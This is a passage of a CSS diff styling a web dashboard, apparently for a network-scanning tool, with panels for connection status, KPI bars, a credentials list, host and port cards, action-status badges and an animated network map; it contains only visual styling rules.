var(--_acid2); + stroke-opacity: .85; + stroke-width: 2; + stroke-linecap: round; + stroke-dasharray: 4 5; + animation: db-globeSpin 12s linear infinite; + transform-origin: 32px 32px; +} + +@keyframes db-globeSpin { + to { + transform: rotate(360deg); + } +} + +.dashboard-container .net-badge { + display: inline-flex; + align-items: center; + gap: 8px; + padding: 6px 10px; + border-radius: 999px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 90%, transparent); + font-weight: 700; +} + +.dashboard-container .net-on { + color: color-mix(in oklab, var(--_ink) 94%, white); + background: var(--ok); + border-color: color-mix(in oklab, var(--ok) 60%, transparent); + text-shadow: 0 1px 0 rgba(0, 0, 0, .25); +} + +.dashboard-container .net-off { + background: color-mix(in oklab, var(--danger, #ff4d6d) 12%, var(--_panel)); + color: var(--_ink); + border-color: color-mix(in oklab, var(--danger, #ff4d6d) 50%, transparent); + box-shadow: inset 0 0 10px color-mix(in oklab, var(--danger, #ff4d6d) 35%, transparent); +} + +.dashboard-container .conn-card .row { + display: grid; + grid-template-columns: 22px 1fr auto; + gap: 10px; + align-items: center; + padding: 8px; + border: 1px solid var(--_border); + border-radius: 12px; + background: color-mix(in oklab, var(--_panel) 96%, transparent); +} + +.dashboard-container .conn-card .row+.row { + margin-top: 8px; +} + +.dashboard-container .conn-card .icon { + width: 22px; + height: 22px; + display: grid; + place-items: center; +} + +.dashboard-container .conn-card .icon svg { + width: 20px; + height: 20px; + stroke: var(--_muted); + fill: none; + stroke-width: 2; +} + +/* LED physical indicators */ +.dashboard-container .conn-card #row-wifi, +.dashboard-container .conn-card #row-bt, +.dashboard-container .conn-card #row-eth, +.dashboard-container .conn-card #row-usb { + grid-template-columns: 14px 22px 1fr auto; +} + +.dashboard-container .conn-card #row-wifi::before, +.dashboard-container .conn-card #row-bt::before, +.dashboard-container .conn-card #row-eth::before, +.dashboard-container .conn-card #row-usb::before { + content: ""; + width: 10px; + height: 10px; + border-radius: 50%; + justify-self: center; + background: #4a4f50; + box-shadow: 0 0 0 2px var(--_border) inset, 0 0 6px rgba(0, 0, 0, .35); + opacity: .9; +} + +.dashboard-container .conn-card #row-wifi[data-physon]::before, +.dashboard-container .conn-card #row-bt[data-physon]::before, +.dashboard-container .conn-card #row-eth[data-physon]::before, +.dashboard-container .conn-card #row-usb[data-physon]::before { + background: var(--ok); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--ok) 40%, transparent) inset, 0 0 12px var(--ok); +} + +.dashboard-container .conn-card #row-wifi.err::before, +.dashboard-container .conn-card #row-bt.err::before, +.dashboard-container .conn-card #row-eth.err::before, +.dashboard-container .conn-card #row-usb.err::before { + background: var(--danger, #ff4d6d); + box-shadow: 0 0 12px var(--danger, #ff4d6d); +} + +.dashboard-container .state-pill { + padding: 3px 8px; + border-radius: 999px; + font-size: 12px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 90%, transparent); + color: var(--_muted); +} + +.dashboard-container .on .state-pill { + color: #d9ffe7; + background: color-mix(in oklab, var(--ok) 15%, #0f1f18); + border-color: color-mix(in oklab, var(--ok) 40%, var(--_border)); +} + +.dashboard-container .off .state-pill { + opacity: .8; +} + +.dashboard-container .err .state-pill { + color: #ffdadd; + background: color-mix(in oklab, var(--danger, #ff4d6d) 15%, #2a1a1a); + border-color: color-mix(in oklab, var(--danger, #ff4d6d) 40%, var(--_border)); +} + +.dashboard-container .details { + color: var(--_muted); + font-size: 12px; +} + +.dashboard-container .details .key { + color: var(--_ink); + font-weight: 600; +} + +.dashboard-container .details .dim { + opacity: .85; +} + +/* KPI cards */ +.dashboard-container .kpi-cards { + display: grid; + gap: var(--gap); + grid-template-columns: repeat(auto-fit, minmax(190px, 1fr)); + margin-top: var(--gap); +} + +.dashboard-container .kpi { + border: 1px solid var(--_border); + border-radius: var(--radius); + background: color-mix(in oklab, var(--_panel) 92%, transparent); + padding: var(--pad); + display: grid; + gap: 6px; +} + +.dashboard-container .kpi .label { + color: var(--_muted); + font-size: 12px; +} + +.dashboard-container .kpi .val { + font-size: 20px; + font-weight: 800; +} + +.dashboard-container .bar { + position: relative; + width: 100%; + height: 8px; + border-radius: 999px; + overflow: hidden; + background: color-mix(in oklab, var(--_ink) 8%, transparent); + border: 1px solid var(--_border); +} + +.dashboard-container .bar>i { + position: absolute; + left: 0; + top: 0; + bottom: 0; + width: 0%; + background: linear-gradient(90deg, var(--_acid), var(--_acid2)); + transition: width .25s ease; +} + +.dashboard-container .bar>i.warm { + background: linear-gradient(90deg, color-mix(in oklab, var(--warning, #ffd166) 85%, #ffbe55), var(--warning, #ffd166)); +} + +.dashboard-container .bar>i.hot { + background: linear-gradient(90deg, color-mix(in oklab, var(--danger, #ff4d6d) 85%, #ff6b6b), var(--danger, #ff4d6d)); +} + +.dashboard-container .delta { + display: inline-flex; + gap: 6px; + align-items: center; + padding: 2px 8px; + border-radius: 999px; + font-size: 12px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 92%, transparent); + color: var(--_muted); +} + +.dashboard-container .delta.good { + color: #d9ffe7; + background: color-mix(in oklab, var(--ok) 15%, #0f1f18); + border-color: color-mix(in oklab, var(--ok) 40%, var(--_border)); +} + +.dashboard-container .delta.bad { + color: #ffdadd; + background: color-mix(in oklab, var(--danger, #ff4d6d) 15%, #2a1a1a); + border-color: color-mix(in oklab, var(--danger, #ff4d6d) 40%, var(--_border)); +} + +.dashboard-container .submeta { + color: var(--_muted); + font-size: 12px; +} + +/* ===== CREDENTIALS ===== */ +.credentials-container { + display: flex; + flex-direction: column; + gap: 12px; + scroll-padding-top: 56px; +} + +.credentials-container .stats-bar { + display: flex; + gap: 12px; + flex-wrap: wrap; + padding: 12px; + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + box-shadow: var(--_shadow); + backdrop-filter: blur(16px); +} + +.credentials-container .stat-item { + display: flex; + align-items: center; + gap: 8px; + padding: 8px 12px; + border: 1px solid var(--_border); + border-radius: 10px; + background: color-mix(in oklab, var(--_panel) 70%, transparent); +} + +.credentials-container .stat-icon { + font-size: 1.1rem; + opacity: .9; +} + +.credentials-container .stat-value { + font-weight: 800; + background: linear-gradient(135deg, var(--_acid), var(--_acid2)); + -webkit-background-clip: text; + background-clip: text; + -webkit-text-fill-color: transparent; +} + +.credentials-container .stat-label { + color: var(--_muted); + font-size: .8rem; +} + +.credentials-container .global-search-container { + position: relative; +} + +.credentials-container .global-search-input { + width: 100%; + padding: 10px 14px; + border-radius: 12px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 90%, transparent); + color: var(--_ink); +} + +.credentials-container .global-search-input:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 40%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); +} + +.credentials-container .clear-global-button { + position: absolute; + right: 10px; + top: 50%; + transform: translateY(-50%); + background: none; + border: 1px solid var(--_border); + color: #ef4444; + border-radius: 8px; + padding: 2px 6px; + display: none; +} + +.credentials-container .clear-global-button.show { + display: block; +} + +.credentials-container .tabs-container { + position: sticky; + top: 0; + z-index: 20; + display: flex; + align-items: center; + gap: 8px; + padding: 8px 12px; + min-height: 44px; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + background: color-mix(in oklab, var(--_panel) 92%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + box-shadow: var(--_shadow); +} + +.credentials-container .tabs-container::-webkit-scrollbar { + height: 0; +} + +.credentials-container .tab { + padding: 10px 18px; + border-radius: 10px; + cursor: pointer; + color: var(--_muted); + font-weight: 700; + font-size: .9rem; + border: 1px solid transparent; + white-space: nowrap; + flex: 0 0 auto; +} + +.credentials-container .tab:hover { + background: rgba(255, 255, 255, .05); + color: var(--_ink); + border-color: var(--_border); +} + +.credentials-container .tab.active { + color: var(--_ink); + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid2) 18%, transparent), color-mix(in oklab, var(--_acid) 14%, transparent)); + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.credentials-container .tab-badge { + margin-left: 8px; + padding: 2px 6px; + border-radius: 999px; + background: rgba(255, 255, 255, .1); + border: 1px solid var(--_border); + font-size: .75rem; +} + +.credentials-container .services-grid { + display: flex; + flex-direction: column; + gap: 12px; +} + +.credentials-container .service-card { + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border: 1px solid var(--_border); + border-radius: 16px; + overflow: hidden; + box-shadow: var(--_shadow); +} + +.credentials-container .service-header { + display: flex; + align-items: center; + gap: 8px; + padding: 12px; + cursor: pointer; + user-select: none; + border-bottom: 1px solid color-mix(in oklab, var(--_border) 65%, transparent); +} + +.credentials-container .service-header:hover { + background: rgba(255, 255, 255, .04); +} + +.credentials-container .service-title { + flex: 1; + font-weight: 800; + letter-spacing: .2px; + font-size: .95rem; + text-transform: uppercase; + background: linear-gradient(135deg, var(--_acid), var(--_acid2)); + -webkit-background-clip: text; + background-clip: text; + -webkit-text-fill-color: transparent; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.credentials-container .service-count { + font-weight: 800; + font-size: .8rem; + padding: 4px 8px; + border-radius: 10px; + background: rgba(255, 255, 255, .08); + color: var(--_ink); + border: 1px solid var(--_border); +} + +.credentials-container .service-card[data-credentials]:not([data-credentials="0"]) .service-count { + background: linear-gradient(135deg, #2e2e2e, #4CAF50); + box-shadow: inset 0 0 0 1px rgba(76, 175, 80, .35); +} + +.credentials-container .search-container { + position: relative; +} + +.credentials-container .search-input { + padding: 6px 24px 6px 8px; + border: none; + border-radius: 10px; + background: rgba(255, 255, 255, .06); + color: var(--_ink); + font-size: .82rem; +} + +.credentials-container .search-input:focus { + outline: none; + background: rgba(255, 255, 255, .1); +} + +.credentials-container .clear-button { + position: absolute; + right: 4px; + top: 50%; + transform: translateY(-50%); + border: none; + background: none; + color: #ef4444; + cursor: pointer; + display: none; +} + +.credentials-container .clear-button.show { + display: block; +} + +.credentials-container .download-button { + border: 1px solid var(--_border); + background: rgba(255, 255, 255, .04); + color: var(--_muted); + border-radius: 8px; + padding: 4px 8px; + cursor: pointer; +} + +.credentials-container .download-button:hover { + color: #e99f00; + filter: brightness(1.06); +} + +.credentials-container .collapse-indicator { + color: var(--_muted); +} + +.credentials-container .service-card.collapsed .service-content { + max-height: 0; + overflow: hidden; +} + +.credentials-container .service-content { + padding: 8px 12px; +} + +.credentials-container .credential-item { + border: 1px solid var(--_border); + border-radius: 10px; + margin-bottom: 6px; + padding: 8px; + background: rgba(255, 255, 255, .02); + display: grid; + grid-template-columns: repeat(auto-fit, minmax(120px, 1fr)); + gap: 8px; +} + +.credentials-container .credential-field { + display: flex; + align-items: center; + gap: 6px; +} + +.credentials-container .field-label { + font-size: .78rem; + color: var(--_muted); +} + +.credentials-container .field-value { + flex: 1; + padding: 2px 6px; + border-radius: 8px; + cursor: pointer; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + border: 1px solid transparent; +} + +.credentials-container .field-value:hover { + background: rgba(255, 255, 255, .06); + border-color: var(--_border); +} + +.credentials-container .bubble-blue { + background: linear-gradient(135deg, #1d2a32, #00c4d6); + color: #fff; +} + +.credentials-container .bubble-green { + background: linear-gradient(135deg, #1e2a24, #00b894); + color: #fff; +} + +.credentials-container .bubble-orange { + background: linear-gradient(135deg, #3b2f1a, #e7951a); + color: #fff; +} + +.credentials-container .copied-feedback { + position: fixed; + left: 50%; + bottom: 20px; + transform: translateX(-50%); + padding: 8px 12px; + background: #4CAF50; + color: #fff; + border-radius: 10px; + box-shadow: var(--_shadow); + opacity: 0; + transition: opacity .25s; + z-index: 9999; +} + +.credentials-container .copied-feedback.show { + opacity: 1; +} + +/* ===== NETKB ===== */ +.netkb-container { + display: grid; + gap: 16px; +} + +.netkb-container .hidden { + display: none !important; +} + +.netkb-container .netkb-toolbar-wrap { + position: sticky; + top: 0; + z-index: 500; + backdrop-filter: saturate(1.1) blur(6px); +} + +.netkb-container .netkb-toolbar { + position: relative; + display: flex; + gap: 12px; + align-items: center; + justify-content: flex-end; + margin-bottom: 12px; + border: 1px solid var(--c-border-strong); + padding: 8px 10px; + box-shadow: var(--shadow); + background: var(--panel); + border-radius: 16px; +} + +/* .segmented styles now inherited from global.css */ + +.netkb-container .kb-switch { + display: inline-flex; + align-items: center; + gap: 10px; + font-weight: 700; + color: var(--muted); + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + padding: 6px 10px; +} + +.netkb-container .kb-switch input { + display: none; +} + +.netkb-container .kb-switch .track { + width: 44px; + height: 24px; + border-radius: 999px; + background: var(--c-panel-2); + position: relative; + border: 1px solid var(--c-border); +} + +.netkb-container .kb-switch .thumb { + position: absolute; + top: 2px; + left: 2px; + width: 20px; + height: 20px; + border-radius: 50%; + background: var(--ink); + box-shadow: 0 2px 8px rgba(0, 0, 0, .4); + transition: left .18s ease, background .18s ease; +} + +.netkb-container .kb-switch input:checked~.track .thumb { + left: 22px; + background: var(--acid); +} + +.netkb-container .kb-switch[data-on="true"] { + color: var(--ink); +} + +.netkb-container .icon-btn { + display: inline-flex; + align-items: center; + justify-content: center; + width: 40px; + height: 40px; + border-radius: 12px; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow); + cursor: pointer; + transition: transform .12s ease, box-shadow .12s ease; +} + +.netkb-container .icon-btn:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.netkb-container .icon-btn svg { + width: 20px; + height: 20px; + fill: var(--ink); +} + +.netkb-container .search-pop { + position: absolute; + right: 8px; + top: 54px; + display: none; + min-width: 260px; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 12px; + padding: 10px; + box-shadow: var(--shadow-hover); +} + +.netkb-container .search-pop.show { + display: block; +} + +.netkb-container .search-input-wrap { + position: relative; + display: flex; + align-items: center; +} + +.netkb-container .search-pop input { + width: 100%; + padding: 10px 32px 10px 12px; + border-radius: 10px; + border: 1px solid var(--c-border); + background: var(--c-panel-2); + color: var(--ink); + font-weight: 700; + outline: none; +} + +.netkb-container .search-clear { + position: absolute; + right: 6px; + top: 50%; + transform: translateY(-50%); + width: 24px; + height: 24px; + display: flex; + align-items: center; + justify-content: center; + border: none; + background: transparent; + color: var(--muted); + font-size: 14px; + cursor: pointer; + border-radius: 50%; + transition: background .15s; +} + +.netkb-container .search-clear:hover { + background: var(--c-border-strong); + color: var(--ink); +} + +.netkb-container .search-hint { + margin-top: 6px; + font-size: .85rem; + color: var(--muted); +} + +.netkb-container .card-container { + display: flex; + flex-wrap: wrap; + gap: 12px; + align-items: stretch; + justify-content: center; +} + +.netkb-container .card { + background: var(--grad-card); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: 18px; + box-shadow: var(--shadow); + width: min(380px, 100%); + padding: 12px; + display: flex; + flex-direction: column; + gap: 10px; + transition: transform .15s ease, box-shadow .15s ease, border-color .15s ease, background .15s ease; +} + +.netkb-container .card:hover { + box-shadow: var(--shadow-hover); + border-color: var(--c-border-hi); + transform: translateY(-1px); +} + +.netkb-container .card.alive .card-title { + color: var(--ok); +} + +.netkb-container .card.not-alive { + background: var(--kb-offline-bg); + border-color: var(--kb-offline-brd); + color: color-mix(in oklab, var(--muted) 90%, var(--ink) 10%); + box-shadow: 0 0 0 1px var(--kb-offline-brd), 0 0 0 2px color-mix(in oklab, var(--kb-offline-ring) 26%, transparent), var(--shadow); +} + +.netkb-container .card.not-alive .card-title { + color: color-mix(in oklab, var(--muted) 85%, var(--ink) 15%); +} + +.netkb-container .card-content { + display: flex; + flex-direction: column; + gap: 6px; + flex: 1; +} + +.netkb-container .card-title { + font-size: 1.1rem; + font-weight: 800; + margin: 0; +} + +.netkb-container .card-section { + display: flex; + align-items: center; + gap: 8px; + flex-wrap: wrap; +} + +.netkb-container .card.list { + width: 100%; + max-width: none; + flex-direction: row; + align-items: center; +} + +.netkb-container .card.list .card-title { + font-size: 1rem; +} + +.netkb-container .chip { + display: inline-block; + padding: .32rem .7rem; + border-radius: 999px; + border: 1px solid var(--c-border-strong); + background: var(--kb-chip); + color: var(--ink); + font-weight: 700; + font-size: .92rem; +} + +.netkb-container .chip.host { + background: var(--kb-hostname-bg); +} + +.netkb-container .chip.ip { + background: var(--kb-ip-bg); +} + +.netkb-container .chip.mac { + background: var(--kb-mac-bg); + color: var(--muted); +} + +.netkb-container .chip.vendor { + background: var(--kb-vendor-bg); +} + +.netkb-container .chip.essid { + background: var(--kb-essid-bg); +} + +.netkb-container .chip.port { + background: var(--kb-ports-bg); + border-color: var(--c-border-hi); +} + +.netkb-container .port-bubbles { + display: flex; + flex-wrap: wrap; + gap: 6px; +} + +.netkb-container .status-container { + display: flex; + flex-wrap: wrap; + gap: 8px; + justify-content: center; +} + +.netkb-container .badge { + background: var(--c-panel-2); + color: var(--ink); + border: 1px solid var(--c-border); + border-radius: 14px; + padding: 8px 10px; + min-width: 160px; + text-align: center; + box-shadow: var(--shadow); + transition: transform .12s ease, box-shadow .12s ease, opacity .12s ease; + position: relative; +} + +.netkb-container .badge .badge-header { + font-weight: 800; + opacity: .95; +} + +.netkb-container .badge .badge-status { + font-weight: 900; +} + +.netkb-container .badge .badge-timestamp { + font-size: .85em; + opacity: .9; +} + +.netkb-container .badge.clickable { + cursor: pointer; +} + +.netkb-container .badge:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.netkb-container .badge.success { + background: linear-gradient(180deg, color-mix(in oklab, var(--ok) 12%, transparent), transparent); +} + +.netkb-container .badge.failed { + background: linear-gradient(180deg, color-mix(in oklab, var(--danger) 18%, transparent), transparent); +} + +.netkb-container .badge.pending { + background: linear-gradient(180deg, color-mix(in oklab, var(--muted) 12%, transparent), transparent); +} + +.netkb-container .badge.expired { + background: linear-gradient(180deg, color-mix(in oklab, var(--warning) 18%, transparent), transparent); +} + +.netkb-container .badge.cancelled { + background: linear-gradient(180deg, color-mix(in oklab, var(--c-panel) 18%, transparent), transparent); +} + +.netkb-container .badge.running { + background: linear-gradient(180deg, color-mix(in oklab, #18f0ff 14%, transparent), transparent); + overflow: hidden; + animation: kb-badgePulse 1.6s ease-in-out infinite; +} + +.netkb-container .badge.running::after { + content: ""; + position: absolute; + inset: 0; + background: var(--kb-badge-shimmer); + animation: kb-shimmer 1.8s linear infinite; +} + +.netkb-container .badge.running::before { + content: ""; + position: absolute; + inset: -20%; + background: linear-gradient(130deg, transparent 40%, rgba(255, 255, 255, .06) 50%, transparent 60%); + animation: kb-sheen 2.2s ease-in-out infinite; +} + +@keyframes kb-shimmer { + 0% { + transform: translateX(-100%); + } + + 100% { + transform: translateX(100%); + } +} + +@keyframes kb-sheen { + 0% { + transform: translateX(-30%); + } + + 100% { + transform: translateX(30%); + } +} + +@keyframes kb-badgePulse { + + 0%, + 100% { + box-shadow: 0 0 0 0 rgba(24, 240, 255, .12); + } + + 50% { + box-shadow: 0 0 0 8px rgba(24, 240, 255, .04); + } +} + +.netkb-container .table-wrap { + border: 1px solid var(--c-border-strong); + border-radius: 14px; + overflow: auto; + background: var(--panel); + box-shadow: var(--shadow); +} + +.netkb-container .table-inner { + min-width: max-content; +} + +.netkb-container table { + width: 100%; + border-collapse: separate; + border-spacing: 0; +} + +.netkb-container thead th { + position: sticky; + top: 0; + z-index: 2; + background: var(--c-panel); + color: var(--ink); + border-bottom: 1px solid var(--c-border-strong); + padding: 10px; + text-align: left; + white-space: nowrap; + cursor: pointer; +} + +.netkb-container tbody td { + border-bottom: 1px solid var(--c-border); + padding: 10px; + white-space: nowrap; + text-align: center; +} + +.netkb-container th:first-child, +.netkb-container td:first-child { + position: sticky; + left: 0; + background: var(--panel); + z-index: 3; +} + +.netkb-container .filter-icon { + width: 16px; + height: 16px; + margin-left: 6px; + vertical-align: middle; +} + +.netkb-container mark.hl { + background: color-mix(in oklab, var(--acid) 25%, transparent); + color: var(--ink); + padding: 0 .15em; + border-radius: 4px; +} + +.netkb-container .segmented button:focus-visible, +.netkb-container .icon-btn:focus-visible, +.netkb-container .kb-switch:has(input:focus-visible) { + outline: 2px solid var(--acid); + outline-offset: 2px; + box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); +} + +@media (max-width:720px) { + .netkb-container { + min-width: 0; + max-width: 100%; + overflow: hidden; + } + + .netkb-container .card { + width: 100%; + } + + .netkb-container .segmented button[data-view="grid"] { + display: none; + } + + .netkb-container .netkb-toolbar-wrap { + position: relative; + top: auto; + } + + .netkb-container .netkb-toolbar { + flex-wrap: wrap; + justify-content: center; + gap: 8px; + } + + .netkb-container .table-wrap { + display: block; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + max-width: 100%; + width: 100%; + box-sizing: border-box; + } + + .netkb-container .table-inner>table { + min-width: 760px; + width: max-content; + } + + .netkb-container thead th, + .netkb-container tbody td { + min-width: 80px; + font-size: .85rem; + padding: 8px 6px; + white-space: nowrap; + } + + .netkb-container .chip { + font-size: .8rem; + padding: .25rem .5rem; + } + + .netkb-container .badge { + min-width: 120px; + padding: 6px 8px; + } +} + +/* ===== NETWORK ===== */ +.network-container { + padding: 12px; + position: relative; + z-index: 2; + display: flex; + flex-direction: column; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 16px); +} + +.network-container .nv-toolbar-wrap { + position: sticky; + top: 0; + margin: 0 0 10px 0; + z-index: 500; + backdrop-filter: saturate(1.1) blur(6px); +} + +.network-container .nv-toolbar { + display: flex; + gap: 12px; + align-items: center; + justify-content: space-between; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + padding: 8px 10px; + box-shadow: var(--shadow); +} + +.network-container .nv-search { + display: flex; + align-items: center; + gap: 8px; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 12px; + padding: 6px 10px; + min-width: 240px; + box-shadow: var(--shadow); +} + +.network-container .nv-search-icon { + font-size: 16px; + flex-shrink: 0; + opacity: .9; +} + +.network-container .nv-search input { + border: none; + outline: none; + background: transparent; + color: var(--ink); + font-weight: 700; + width: 100%; + min-width: 0; +} + +.network-container .nv-search-clear { + flex-shrink: 0; + width: 22px; + height: 22px; + display: flex; + align-items: center; + justify-content: center; + border: none; + background: transparent; + color: var(--muted); + font-size: 13px; + cursor: pointer; + border-radius: 50%; + transition: background .15s; +} + +.network-container .nv-search-clear:hover { + background: var(--c-border-strong); + color: var(--ink); +} + +.network-container .segmented { + display: inline-flex; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + padding: 4px; + box-shadow: var(--shadow); +} + +.network-container .segmented button { + appearance: none; + border: 0; + background: transparent; + color: var(--muted); + font-weight: 700; + padding: 8px 14px; + border-radius: 999px; + cursor: pointer; + transition: background .15s ease, color .15s ease, transform .1s ease; +} + +.network-container .segmented button[aria-pressed="true"] { + background: var(--grad-card); + color: var(--ink); + box-shadow: inset 0 0 0 1px var(--c-border-hi), 0 6px 24px var(--glow-weak); + transform: translateY(-1px); +} + +.network-container .nv-switch { + display: inline-flex; + align-items: center; + gap: 10px; + font-weight: 700; + color: var(--muted); + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + padding: 6px 10px; + box-shadow: var(--shadow); +} + +.network-container .nv-switch input { + display: none; +} + +.network-container .nv-switch .track { + width: 44px; + height: 24px; + border-radius: 999px; + background: var(--c-panel-2); + position: relative; + border: 1px solid var(--c-border); +} + +.network-container .nv-switch .thumb { + position: absolute; + top: 2px; + left: 2px; + width: 20px; + height: 20px; + border-radius: 50%; + background: var(--ink); + box-shadow: 0 2px 8px rgba(0, 0, 0, .4); + transition: left .18s ease, background .18s ease; +} + +.network-container .nv-switch input:checked~.track .thumb { + left: 22px; + background: var(--acid); +} + +.network-container .nv-switch[data-on="true"] { + color: var(--ink); +} + +.network-container .table-wrap { + border: 1px solid var(--c-border-strong); + border-radius: 14px; + overflow: auto; + -webkit-overflow-scrolling: touch; + background: var(--c-panel, #0b1218); + box-shadow: var(--shadow); + flex: 1; + min-height: 0; +} + +.network-container table.network-table { + width: 100%; + min-width: 860px; + table-layout: auto; + border-collapse: separate; + border-spacing: 0 .5rem; +} + +.network-container thead th { + position: sticky; + top: 0; + z-index: 3; + background: var(--c-panel, #0b1218); + color: var(--ink); + border-bottom: 1px solid var(--c-border-strong); + padding: 10px; + text-align: left; + white-space: nowrap; + cursor: pointer; + border-radius: 8px; +} + +.network-container tbody tr { + background: color-mix(in oklab, var(--c-panel, #0b1218) 95%, var(--acid) 5%); + border: 1px solid var(--c-border-strong); + border-radius: 8px; + transition: .25s ease; +} + +.network-container tbody tr:hover { + background: color-mix(in oklab, var(--c-panel, #0b1218) 88%, var(--acid) 12%); + box-shadow: var(--shadow); + transform: translateY(-2px); +} + +.network-container td { + padding: 10px; + color: var(--ink, #fff); + background: color-mix(in oklab, var(--c-panel, #0b1218) 96%, var(--acid) 4%); + vertical-align: top; + white-space: normal; +} + +.network-container th.hosts-header { + left: 0; + position: sticky; + z-index: 4; +} + +.network-container td.hosts-cell { + position: sticky; + left: 0; + z-index: 2; + background: color-mix(in oklab, var(--c-panel, #0b1218) 92%, var(--acid) 8%); +} + +.network-container thead th.sort-asc::after { + content: '\2191'; + margin-left: 8px; + color: #00b894; +} + +.network-container thead th.sort-desc::after { + content: '\2193'; + margin-left: 8px; + color: #00b894; +} + +.network-container .hosts-content { + display: flex; + align-items: center; + gap: .55rem; + flex-wrap: wrap; + min-width: 320px; +} + +.network-container .bubble { + padding: .5rem 1rem; + border-radius: 6px; + font-size: .9rem; + display: inline-flex; + align-items: center; + gap: .5rem; + transition: .2s; + box-shadow: 0 2px 4px rgba(0, 0, 0, .1); +} + +.network-container .bubble.essid { + background: linear-gradient(135deg, #272727, #2560a1); + color: #fff; + padding: 5px 10px; + border-radius: 5px; + font-size: .9em; + font-weight: bold; + white-space: nowrap; + display: inline-block; +} + +.network-container .bubble.ip-address { + background: linear-gradient(135deg, #272727, #00cec9); + color: #fff; + font-weight: 600; + cursor: pointer; +} + +.network-container .bubble.hostname { + background: linear-gradient(135deg, #5b5c5a, #e7951a); + color: #fff; + cursor: pointer; +} + +.network-container .bubble.mac-address { + background: linear-gradient(135deg, #404041, #636e72); + color: #b2bec3; + font-family: monospace; + cursor: pointer; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.network-container .bubble.vendor { + background: linear-gradient(135deg, #5b5c5a, #0a4952); + color: #fff; + font-weight: 600; + cursor: pointer; + white-space: nowrap; +} + +.network-container .ports-container { + display: flex; + flex-wrap: wrap; + gap: .45rem; + align-items: center; + min-width: 220px; +} + +.network-container .port-bubble { + background: linear-gradient(135deg, #1f2c33, #00b894); + color: #eafff8; + padding: .4rem .8rem; + border-radius: 20px; + font-size: .85rem; + border: 1px solid color-mix(in oklab, #00b894 40%, transparent); + max-width: fit-content; + transition: .2s; +} + +.network-container .port-bubble:hover { + transform: scale(1.08); + box-shadow: 0 2px 8px rgba(9, 132, 227, .3); +} + +.network-container .segmented button:focus-visible, +.network-container .nv-search input:focus-visible, +.network-container .nv-switch:has(input:focus-visible) { + outline: 2px solid var(--acid); + outline-offset: 2px; + box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); +} + +/* Ocean / Map */ +.network-container .ocean-container { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + overflow: hidden; + z-index: 0; + pointer-events: none; + background: radial-gradient(ellipse at center, #0a4b7a 0%, #01162e 60%, #00050a 100%); +} + +.network-container .ocean-surface { + position: absolute; + top: -50%; + left: -50%; + width: 200%; + height: 200%; + opacity: 0.3; + background-image: repeating-radial-gradient(circle at 50% 50%, transparent 0, transparent 20px, rgba(255, 255, 255, 0.02) 25px, transparent 40px); + animation: nv-oceanDrift 60s linear infinite alternate; +} + +.network-container .ocean-caustics { + position: absolute; + top: -100%; + left: -100%; + width: 300%; + height: 300%; + opacity: 0.3; + mix-blend-mode: overlay; + animation: nv-causticFlow 30s linear infinite; +} + +@keyframes nv-oceanDrift { + 0% { + transform: translate(0, 0) rotate(0deg); + } + + 100% { + transform: translate(-40px, 20px) rotate(1deg); + } +} + +@keyframes nv-causticFlow { + 0% { + transform: translate(0, 0); + } + + 100% { + transform: translate(-100px, -50px); + } +} + +.network-container #visualization-container { + display: none; + position: relative; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 100px); + height: 100%; + flex: 1; + border-radius: 14px; + overflow: hidden; + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow); + background: transparent; +} + +.network-container .link { + stroke: rgba(255, 255, 255, 0.15); + stroke-width: 1px; +} + +.network-container .node { + cursor: pointer; + transition: opacity 0.5s; +} + +.network-container .foam-ring { + fill: rgba(240, 248, 255, 0.3); + mix-blend-mode: screen; + animation: nv-foamPulse 4s ease-in-out infinite alternate; +} + +.network-container .foam-ring:nth-child(2) { + animation-delay: -1s; + opacity: 0.3; +} + +@keyframes nv-foamPulse { + 0% { + transform: scale(0.9) rotate(0deg); + opacity: 0.4; + } + + 100% { + transform: scale(1.1) rotate(10deg); + opacity: 0.1; + } +} + +.network-container .sonar-wave { + fill: none; + stroke: #ffb703; + stroke-width: 2px; + animation: nv-sonar 4s infinite ease-out; + opacity: 0; + pointer-events: none; +} + +@keyframes nv-sonar { + 0% { + r: 40px; + opacity: 0.6; + stroke-width: 3px; + } + + 100% { + r: 300px; + opacity: 0; + stroke-width: 1px; + } +} + +.network-container .label-group { + transition: transform 0.1s; +} + +.network-container .label-bg { + fill: rgba(0, 20, 40, 0.8); + rx: 4; + stroke: rgba(255, 255, 255, 0.1); + stroke-width: 0.5px; +} + +.network-container 